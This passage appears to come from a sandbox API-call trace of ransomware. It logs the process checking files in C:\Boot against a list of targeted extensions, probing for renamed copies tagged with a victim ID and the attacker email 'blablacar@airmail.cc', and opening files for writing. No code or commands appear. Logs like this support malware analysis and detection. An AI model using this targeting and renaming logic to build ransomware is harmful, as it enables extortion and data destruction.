-1 [0175.706] lstrlenW (lpString=".docx") returned 5 [0175.706] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0175.706] lstrlenW (lpString=".pdf") returned 4 [0175.706] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0175.706] lstrlenW (lpString=".xls") returned 4 [0175.706] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0175.706] lstrlenW (lpString=".xlsx") returned 5 [0175.706] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0175.706] lstrlenW (lpString=".ppt") returned 4 [0175.706] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0175.706] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.706] lstrlenW (lpString=".zip") returned 4 [0175.706] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0175.706] lstrlenW (lpString=".rar") returned 4 [0175.706] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0175.706] lstrlenW (lpString=".bz2") returned 4 [0175.706] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0175.706] lstrlenW (lpString=".7z") returned 3 [0175.706] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0175.706] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.706] lstrlenW (lpString=".dbf") returned 4 [0175.706] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0175.707] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.707] lstrlenW (lpString=".1cd") returned 4 [0175.707] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0175.707] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0175.707] lstrlenW (lpString=".jpg") returned 4 [0175.707] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0175.707] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0175.707] lstrlenW (lpString="segoe_slboot.ttf") returned 16 [0175.707] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.707] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=86178) returned 1 [0175.707] CloseHandle (hObject=0x344) returned 1 [0175.707] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0175.707] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.708] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.708] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.708] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.708] lstrlenW (lpString=".doc") returned 4 [0175.708] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0175.708] lstrlenW (lpString=".docx") returned 5 [0175.708] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0175.708] lstrlenW (lpString=".pdf") returned 4 [0175.708] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0175.708] lstrlenW (lpString=".xls") returned 4 [0175.708] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0175.708] lstrlenW (lpString=".xlsx") returned 5 [0175.708] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0175.708] lstrlenW (lpString=".ppt") returned 4 [0175.708] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0175.708] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.708] lstrlenW (lpString=".zip") returned 4 [0175.708] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0175.708] lstrlenW (lpString=".rar") returned 4 [0175.708] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0175.708] lstrlenW (lpString=".bz2") returned 4 [0175.708] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0175.708] lstrlenW (lpString=".7z") returned 3 [0175.708] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0175.708] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.708] lstrlenW (lpString=".dbf") returned 4 [0175.708] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0175.708] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.708] lstrlenW (lpString=".1cd") returned 4 [0175.708] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0175.708] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.708] lstrlenW (lpString=".jpg") returned 4 [0175.709] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0175.709] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.709] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.709] lstrlenW (lpString=".doc") returned 4 [0175.709] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0175.709] lstrlenW (lpString=".docx") returned 5 [0175.709] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0175.709] lstrlenW (lpString=".pdf") returned 4 [0175.709] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0175.709] lstrlenW (lpString=".xls") returned 4 [0175.709] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0175.709] lstrlenW (lpString=".xlsx") returned 5 [0175.709] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0175.709] lstrlenW (lpString=".ppt") returned 4 [0175.709] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0175.709] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.709] lstrlenW (lpString=".zip") returned 4 [0175.709] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0175.709] lstrlenW (lpString=".rar") returned 4 [0175.709] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0175.709] lstrlenW (lpString=".bz2") returned 4 [0175.709] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0175.709] lstrlenW (lpString=".7z") returned 3 [0175.709] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0175.709] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.709] lstrlenW (lpString=".dbf") returned 4 [0175.709] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0175.709] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.709] lstrlenW (lpString=".1cd") returned 4 [0175.709] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0175.709] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0175.709] lstrlenW (lpString=".jpg") returned 4 [0175.709] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0175.710] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0175.710] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0175.710] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.710] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=49091) returned 1 [0175.710] CloseHandle (hObject=0x344) returned 1 [0175.710] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0175.710] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.710] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.710] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.710] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.710] lstrlenW (lpString=".doc") returned 4 [0175.710] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0175.710] lstrlenW (lpString=".docx") returned 5 [0175.711] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0175.711] lstrlenW (lpString=".pdf") returned 4 [0175.711] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0175.711] lstrlenW (lpString=".xls") returned 4 [0175.711] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0175.711] lstrlenW (lpString=".xlsx") returned 5 [0175.711] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0175.711] lstrlenW (lpString=".ppt") returned 4 [0175.711] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0175.711] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.711] lstrlenW (lpString=".zip") returned 4 [0175.711] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0175.711] lstrlenW (lpString=".rar") returned 4 [0175.711] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0175.711] lstrlenW (lpString=".bz2") returned 4 [0175.711] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0175.711] lstrlenW (lpString=".7z") returned 3 [0175.711] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0175.711] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.711] lstrlenW (lpString=".dbf") returned 4 [0175.711] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0175.711] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.711] lstrlenW (lpString=".1cd") returned 4 [0175.711] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0175.711] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.711] lstrlenW (lpString=".jpg") returned 4 [0175.711] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0175.711] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.711] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.711] lstrlenW (lpString=".doc") returned 4 [0175.711] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0175.711] lstrlenW (lpString=".docx") returned 5 [0175.712] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0175.712] lstrlenW (lpString=".pdf") returned 4 [0175.712] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0175.712] lstrlenW (lpString=".xls") returned 4 [0175.712] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0175.712] lstrlenW (lpString=".xlsx") returned 5 [0175.712] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0175.712] lstrlenW (lpString=".ppt") returned 4 [0175.712] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0175.712] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.712] lstrlenW (lpString=".zip") returned 4 [0175.712] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0175.712] lstrlenW (lpString=".rar") returned 4 [0175.712] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0175.712] lstrlenW (lpString=".bz2") returned 4 [0175.712] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0175.712] lstrlenW (lpString=".7z") returned 3 [0175.712] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0175.712] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.712] lstrlenW (lpString=".dbf") returned 4 [0175.712] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0175.712] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.712] lstrlenW (lpString=".1cd") returned 4 [0175.712] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0175.712] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0175.712] lstrlenW (lpString=".jpg") returned 4 [0175.712] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0175.712] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.712] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.712] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.713] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=79200) returned 1 [0175.713] CloseHandle (hObject=0x344) returned 1 [0175.713] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0175.713] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.713] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.713] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.713] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.713] lstrlenW (lpString=".doc") returned 4 [0175.713] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.713] lstrlenW (lpString=".docx") returned 5 [0175.713] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.713] lstrlenW (lpString=".pdf") returned 4 [0175.713] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.713] lstrlenW (lpString=".xls") returned 4 [0175.713] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.713] lstrlenW (lpString=".xlsx") returned 5 [0175.713] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.713] lstrlenW (lpString=".ppt") returned 4 [0175.714] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.714] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.714] lstrlenW (lpString=".zip") returned 4 [0175.714] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.714] lstrlenW (lpString=".rar") returned 4 [0175.714] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.714] lstrlenW (lpString=".bz2") returned 4 [0175.714] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.714] lstrlenW (lpString=".7z") returned 3 [0175.714] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.714] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.714] lstrlenW (lpString=".dbf") returned 4 [0175.714] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.714] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.714] lstrlenW (lpString=".1cd") returned 4 [0175.714] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.714] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.714] lstrlenW (lpString=".jpg") returned 4 [0175.714] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.714] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.714] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.714] lstrlenW (lpString=".doc") returned 4 [0175.714] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.714] lstrlenW (lpString=".docx") returned 5 [0175.714] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.714] lstrlenW (lpString=".pdf") returned 4 [0175.714] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.714] lstrlenW (lpString=".xls") returned 4 [0175.714] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.714] lstrlenW (lpString=".xlsx") returned 5 [0175.714] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.714] lstrlenW (lpString=".ppt") returned 4 [0175.714] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.715] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.715] lstrlenW (lpString=".zip") returned 4 [0175.715] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.715] lstrlenW (lpString=".rar") returned 4 [0175.715] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.715] lstrlenW (lpString=".bz2") returned 4 [0175.715] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.715] lstrlenW (lpString=".7z") returned 3 [0175.715] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.715] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.715] lstrlenW (lpString=".dbf") returned 4 [0175.715] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.715] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.715] lstrlenW (lpString=".1cd") returned 4 [0175.715] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.715] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0175.715] lstrlenW (lpString=".jpg") returned 4 [0175.715] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.715] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.715] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.715] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.715] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=79192) returned 1 [0175.715] CloseHandle (hObject=0x344) returned 1 [0175.716] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0175.716] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.716] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.716] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.716] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.716] lstrlenW (lpString=".doc") returned 4 [0175.716] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.716] lstrlenW (lpString=".docx") returned 5 [0175.716] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.716] lstrlenW (lpString=".pdf") returned 4 [0175.716] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.716] lstrlenW (lpString=".xls") returned 4 [0175.716] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.716] lstrlenW (lpString=".xlsx") returned 5 [0175.716] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.716] lstrlenW (lpString=".ppt") returned 4 [0175.716] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.716] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.716] lstrlenW (lpString=".zip") returned 4 [0175.716] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.716] lstrlenW (lpString=".rar") returned 4 [0175.716] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.716] lstrlenW (lpString=".bz2") returned 4 [0175.716] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.716] lstrlenW (lpString=".7z") returned 3 [0175.716] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.717] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.717] lstrlenW (lpString=".dbf") returned 4 [0175.717] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.717] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.717] lstrlenW (lpString=".1cd") returned 4 [0175.717] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.717] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.717] lstrlenW (lpString=".jpg") returned 4 [0175.717] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.717] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.717] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.717] lstrlenW (lpString=".doc") returned 4 [0175.717] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.717] lstrlenW (lpString=".docx") returned 5 [0175.717] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.717] lstrlenW (lpString=".pdf") returned 4 [0175.717] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.717] lstrlenW (lpString=".xls") returned 4 [0175.717] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.717] lstrlenW (lpString=".xlsx") returned 5 [0175.717] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.717] lstrlenW (lpString=".ppt") returned 4 [0175.717] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.717] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.717] lstrlenW (lpString=".zip") returned 4 [0175.717] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.717] lstrlenW (lpString=".rar") returned 4 [0175.717] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.717] lstrlenW (lpString=".bz2") returned 4 [0175.717] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.717] lstrlenW (lpString=".7z") returned 3 [0175.717] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.718] lstrlenW (lpString=".dbf") returned 4 [0175.718] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.718] lstrlenW (lpString=".1cd") returned 4 [0175.718] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.718] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0175.718] lstrlenW (lpString=".jpg") returned 4 [0175.718] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.718] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.718] lstrlenW (lpString="memtest.exe.mui") returned 15 [0175.718] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.718] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=45984) returned 1 [0175.718] CloseHandle (hObject=0x344) returned 1 [0175.718] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0175.719] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.719] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.719] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.719] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.719] lstrlenW (lpString=".doc") returned 4 [0175.719] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.719] lstrlenW (lpString=".docx") returned 5 [0175.719] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.719] lstrlenW (lpString=".pdf") returned 4 [0175.719] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.719] lstrlenW (lpString=".xls") returned 4 [0175.719] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.719] lstrlenW (lpString=".xlsx") returned 5 [0175.719] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.719] lstrlenW (lpString=".ppt") returned 4 [0175.719] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.719] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.719] lstrlenW (lpString=".zip") returned 4 [0175.719] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.719] lstrlenW (lpString=".rar") returned 4 [0175.719] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.719] lstrlenW (lpString=".bz2") returned 4 [0175.719] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.719] lstrlenW (lpString=".7z") returned 3 [0175.719] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.719] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.719] lstrlenW (lpString=".dbf") returned 4 [0175.720] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.720] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.720] lstrlenW (lpString=".1cd") returned 4 [0175.720] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.720] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0175.720] lstrlenW (lpString=".jpg") returned 4 [0175.720] 